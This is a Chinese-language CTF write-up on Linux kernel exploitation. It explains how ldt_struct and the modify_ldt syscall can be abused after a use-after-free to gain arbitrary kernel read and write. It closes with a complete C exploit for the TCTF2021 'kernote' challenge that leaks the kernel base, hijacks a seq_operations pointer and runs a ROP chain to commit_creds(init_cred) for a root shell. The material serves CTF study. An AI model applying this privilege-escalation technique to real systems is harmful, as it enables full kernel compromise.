ldt_struct与modify_ldt系统调用的介绍
ldt_struct
ldt
是局部段描述符表
,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和ldt
有关的结构体是ldt_struct
。
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;
/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};
这个结构体的大小仅有0x10
,前8
字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前8
字节的entries
指针指向desc_struct
结构体,即段描述符,定义如下:
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
modify_ldt系统调用
modify_ldt
这个系统调用,是提供给我们用来获取或修改当前进程的LDT
用的。我们看调用modify_ldt
的几个用法,源码如下:
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;
switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}
我们除了系统调用号外传入的三个参数是func,ptr,bytecount
,其中ptr
指针指向的是user_desc
结构体。这个结构体如下:
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
任意地址读
利用的函数是ldt_read
,其关键源码如下:
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制entries
,那么我们就可以实现任意地址读。
如何控制entries
?我们看write_ldt
的源码可以看到调用alloc_ldt_struct
为新的ldt_struct
开辟了空间。
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
//...
return error;
}
再看alloc_ldt_struct
的源码,调用了kamlloc
去分配新空间。
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;
if (num_entries > LDT_ENTRIES)
return NULL;
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...
我们就可以想到通过UAF
去控制ldt_struct
,修改entries
即可读取想要的数据。
任意地址写
利用的函数是write_ldt
,其关键源码如下:
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
//...
}
我们可以看到拷贝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE)
,我们再看一下LDT_ENTRY_SIZE
的定义
/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES 8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8
可以看出拷贝的量非常大。并且在拷贝结束之后有new_ldt->entries[ldt_info.entry_number] = ldt;
这样一行代码。那我们就可以通过条件竞争的方式去改变new_ldt->entries
,从而实现任意地址写。
例题:TCTF2021-FINAL-kernote
exp
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
int fd;
size_t kernel_offset;
size_t kernel_base;
int seq_fd;
int ret;
size_t page_offset_base = 0xffff888000000000;
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi_ret;
size_t swapgs_restore_regs_and_return_to_usermode;
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void set(int index)
{
ioctl(fd, 0x6666, index);
}
void add(int index)
{
ioctl(fd, 0x6667, index);
}
void delete(int index)
{
ioctl(fd, 0x6668, index);
}
void edit(size_t data)
{
ioctl(fd, 0x6669, data);
}
int main()
{
struct user_desc desc;
int pipe_fd[2] = {0};
size_t temp;
size_t *buf;
size_t search_addr;
printf("\033[34m\033[1m[*] Start exploit\033[0m\n");
fd = open("/dev/kernote", O_RDWR);
if(fd<0)
ErrExit("[-] open kernote error");
/*
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
*/
desc.entry_number = 0x8000 / 8;
desc.base_addr = 0xff0000;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
desc.seg_not_present = 0;
desc.useable = 0;
desc.lm = 0;
add(0);
set(0);
delete(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
edit(page_offset_base);
ret = syscall(SYS_modify_ldt, 0, &temp, 8);
if(ret >= 0)
break;
page_offset_base+= 0x4000000;
}
printf("\033[32m\033[1m[+] Find page_offset_base=> \033[0m0x%lx\n", page_offset_base);
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
while(1)
{
edit(search_addr);
ret = fork();
if(!ret)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for(int i=0; i<0x1000; i++)
if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
{
kernel_base = buf[i] - 0x40;
kernel_offset = kernel_base - 0xffffffff81000000;
}
write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if(kernel_base)
break;
search_addr+= 0x8000;
}
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Find kernel base=> \033[0m0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] Kernel offset=> \033[0m0x%lx\n", kernel_offset);
add(1);
set(1);
delete(1);
seq_fd = open("/proc/self/stat", O_RDONLY);
if(seq_fd<0)
ErrExit("[-] open seq error");
edit(0xffffffff817c21a6 + kernel_offset);
init_cred = 0xffffffff8266b780 + kernel_offset;
prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset;
commit_creds = 0xffffffff810c9dd0 + kernel_offset;
pop_rdi_ret = 0xffffffff81075c4c + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;" // start at there
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}